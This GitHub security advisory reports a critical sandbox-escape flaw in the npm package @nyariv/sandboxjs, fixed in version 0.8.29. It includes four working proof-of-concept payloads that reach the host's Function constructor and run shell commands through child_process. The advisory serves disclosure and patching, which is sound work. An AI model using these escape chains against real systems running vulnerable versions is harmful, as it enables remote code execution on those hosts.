GitHub Advisoryadvisory · npm
GHSA-58jh-xv4v-pcx4 @nyariv/sandboxjs has a Sandbox Escape issue
CRITICAL
Official page ↗
- Aliases
- CVE-2026-25520
- Ecosystem
- npm
- Packages
- @nyariv/sandboxjs
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-74
- Reviewed
- 2026-02-05
Affected packages
• npm @nyariv/sandboxjs: < 0.8.29 → fixed in 0.8.29
Description
Summary
The return values of functions aren't wrapped. `Object.values`/`Object.entries` can be used to get an Array containing the host's `Function` constructor, by using `Array.prototype.at` you can obtain the hosts `Function` constructor, which can be used to execute arbitrary code outside of the sandbox.
Details
The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.
PoC
```js
const s = require('@nyariv/sandboxjs').default;
const sb = new s();
payload = `
console.log(
Object.values(this).at(0)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();
```
```js
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
Object.entries(this)[0].at(1)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();
```
```js
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
Object.entries(this)
.at(0)
.map((f) => {
if (typeof f === 'function') {
f.call('', 'return process')()
.getBuiltinModule('child_process')
.execSync('ls -lah', { stdio: 'inherit' });
}
}),
);
`
sb.compile(payload)().run();
```
```js
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const t = (f) => {
f.call('', 'return process')()
.getBuiltinModule('child_process')
.execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`
sb.compile(payload)().run();
```
Impact
Sanbox Escape -> RCE
Related
Alias · CVE (1)
- CVE-2026-25520 SandboxJS is a JavaScript sandboxing library. vulnerability
Weakness · CWE (1)
- CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component weakness